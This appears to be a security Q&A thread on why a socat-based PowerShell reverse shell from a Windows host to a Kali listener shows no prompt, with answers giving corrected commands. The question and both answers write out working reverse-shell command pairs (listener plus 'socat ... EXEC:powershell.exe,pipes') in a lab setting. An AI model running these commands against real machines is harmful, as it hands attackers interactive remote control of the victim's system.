2

I've read that socat is capable of creating interactive shells. I'd like to create an interactive Powershell shell.

Kali Listener

# socat - tcp4-listen:1338

Windows (socat.exe used from here: https://github.com/StudioEtrange/socat-windows)

socat.exe tcp-connect:192.168.33.131:1338 exec:powershell.exe,pipes,pty

I get a connection but no shell

enter image description here

And Powershell starts on my Windows machine: enter image description here

Does anyone know why this doesn't work?

5
  • It is not clear what you mean by I get a connection but no shell.
    – mentallurg
    Commented Apr 20, 2020 at 5:23
  • 2
    Seems to me like everything is working as intended? Your 1st screenshot shows you starting and running a shell daemon, and your 2nd screenshot is you connecting to it; and, in fact, obtaining an interactive shell?
    – Will
    Commented Apr 20, 2020 at 5:49
  • Hey @will , The first screenshot is my listener on Kali. If it would have been successful I would have expected to see PS C:\inetpub\wwwroot\socat> in Kali, not my Windows box. I'm trying to shovel a Powershell shell from Windows to Kali. Sorry for the confusion. Commented Apr 20, 2020 at 14:12
  • Hey @mentallurg , what I meant was a connection happens between by Kali listener and the Windows machine as evidenced by the "Windows PowerShell Copyright (C)..." message however I don't receive a PS C:\inetpub\wwwroot\socat> prompt in my Kali machine. Commented Apr 20, 2020 at 14:14
  • ![Windows PowerShell](i.sstatic.net/uPuMe.png) Seems work fine in my case between virtual machine macOS (VMware Workstation Pro 16) and Windows 10 host.
    – valorisa
    Commented Jan 24, 2021 at 19:11

2 Answers 2

0

Try:

attacking machine:

socat -d -d TCP4-LISTEN:1338 STDOUT

target machine:

socat TCP4:<attacking machine ip>:1338 EXEC:'powershell.exe',pipes

source: https://erev0s.com/blog/encrypted-bind-and-reverse-shells-socat/

1
  • 1
    Can you explain why this would work? why -d? Why STDOUT?
    – schroeder
    Commented Jan 23, 2022 at 17:55
0

I would suggest a simpler syntax with socat, easier to understand and currently working:

Attacker Machine (Kali Linux 2022.2 x64):

┌──(galoget㉿hackem)-[~]
└─$ socat TCP-L:4444 -

Syntax Details:

  • TCP-L: Starts socat in listening mode using TCP at a certain port, in this case 4444.
  • -: The dash (-) is a shortcut to indicate that socat will use standard input (stdin) and standard output (stdout). It will read input data from your console and send it to the opposite end. Then it will also receive data from the opposite end and write it to console output (STDIO).

Target Machine (Windows 10 Pro x64 VM):

C:\socat-windows-master>socat.exe TCP:192.168.245.142:4444 EXEC:powershell.exe,pipes

Syntax Details:

  • TCP: Starts socat using TCP to connect to a certain IP address and port, in this case the attacker machine: 192.168.245.142 and port: 4444.
  • EXEC: Indicates the command to execute as soon as the connection is established, in this case powershell.exe
  • The pipes option forces powershell.exe or cmd.exe to use Unix style standard input and output.

Let's see these commands in action:

Target Machine: Windows 10 Pro x64 VM - socat connect to attacker machine on port 4444 with reverse shell (powershell.exe)

Attacker Machine: Kali Linux 2022.2 x64 - socat listening on port 4444

As you can see the reverse shell works perfectly. The connection is established and everything is OK.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .